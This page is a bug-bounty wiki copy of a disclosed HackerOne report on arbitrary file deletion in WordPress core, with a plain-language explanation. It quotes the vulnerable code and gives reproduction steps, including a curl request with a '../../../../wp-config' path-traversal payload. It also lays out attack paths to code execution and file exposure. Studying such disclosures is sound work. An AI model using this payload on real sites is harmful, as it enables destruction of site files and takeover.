Skip to content
Path traversal Disclosed report Intermediate

Arbitrary file deletion in wp-core - guides towards RCE and information disclosure

The attachment thumbnail metadata field is saved without sanitisation and later used to build a file path passed to unlink, so a user who can edit attachments can delete arbitrary files. Deleting wp-config.php or .htaccess could lead to reinstallation with an attacker-controlled database or exposure of files in web-accessible directories.

b258ea62bf297b02afa9854 Follow

Originally disclosed on HackerOne

Critical 9.9 View original
  • Triaged in 2 days
  • Fixed in 7 months
  • Disclosed after 9 months

Vulnerable place 1: wp-admin/post.php $newmeta['thumb'] is placed into DB not sanitized directly from user input.

case 'editattachment':
    check_admin_referer('update-post_' . $post_id);
    // Don't let these be changed
    unset($_POST['guid']);
    $_POST['post_type'] = 'attachment';
    // Update the thumbnail filename
    $newmeta = wp_get_attachment_metadata( $post_id, true );
    $newmeta['thumb'] = $_POST['thumb'];
    wp_update_attachment_metadata( $post_id, $newmeta );

Vulnerable place 2: wp_delete_attachment There we have $meta = wp_get_attachment_metadata( $post_id ); and below in the code:

if ( ! empty($meta['thumb']) ) {
        // Don't delete the thumb if another attachment uses it.
        if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
            $thumbfile = str_replace(basename($file), $meta['thumb'], $file);
            /** This filter is documented in wp-includes/functions.php */
            $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
            @ unlink( path_join($uploadpath['basedir'], $thumbfile) );
        }
    }

This means we can craft any value from the wp-admin for thumb property and that value to be sent towards @unlink

How to reproduce:

  1. Upload image via media menu e.g. new
  2. Go to edit post (old fashioned way)
  3. Grad the id, _wpnonce and choose your payload ../../../../wp-config.php
  4. Craft your payload(set auth cookies, ua, referrers, ...):
curl 'http://localhost/ripsa/wpvuln/wp-admin/post.php?post=[your_postid]&action=editattachment&_wpnonce=[yournonce]' -H 'place your client headers: ua, cookies in order to mimic the authenticated user ' -d 'thumb=../../../../wp-config-slavco.php' --compressed 
  1. Delete the file from the admin

Impact:

  1. Requires user that have permission to manipulate media files / posts
  2. Hard to be spotted because:

2.1 Payload is deleted from DB 2.2 @unlink won't rise error in case of any failed attempts 3. Affects many blogging/publishing, e-commerce, ... setups.

Attack:

  1. Delete wp-config.php and relaunch wp setup with remote attackers db - RCE
  2. Delete .htaccess or any another index.html/index.php in order to disclose any stored data under web accessible directory

The original report as published on HackerOne, by b258ea62bf297b02afa9854. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the thumbnail filename from user input is stored without validation and later concatenated into a filesystem path that is passed to unlink without checking it stays inside the uploads directory.

Impact

An authenticated user who can manipulate media files or posts could delete arbitrary files, which may lead to remote code execution by forcing a reinstall against an attacker database or to information disclosure by removing protective or index files; the text notes the attempt is hard to spot because the payload is removed from the database and unlink fails silently.

What the attacker needed

Account able to edit media or posts; valid nonce for the attachment edit

How it was found

  1. Upload an image through the media menu.
  2. Open the post edit screen for that attachment.
  3. Note the post id and the security nonce, and pick a path-traversal value for the thumbnail.
  4. Send an authenticated request to the editattachment action with the crafted thumb value.
  5. Delete the attachment from the admin so the stored value reaches the delete routine.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WordPress lets you attach a small preview image (a thumbnail) to a media item, and it stores the thumbnail's filename in the database. The report shows that this filename is accepted from the browser without checking it, and when the media item is deleted the site joins that name onto the upload folder and deletes whatever file it points to. By putting folder-climbing characters in the name, someone with editing rights can make the site delete files outside the upload folder, such as its configuration file.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by b258ea62bf297b02afa9854

View all

8 more disclosed reports, best first.

More from WordPress

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.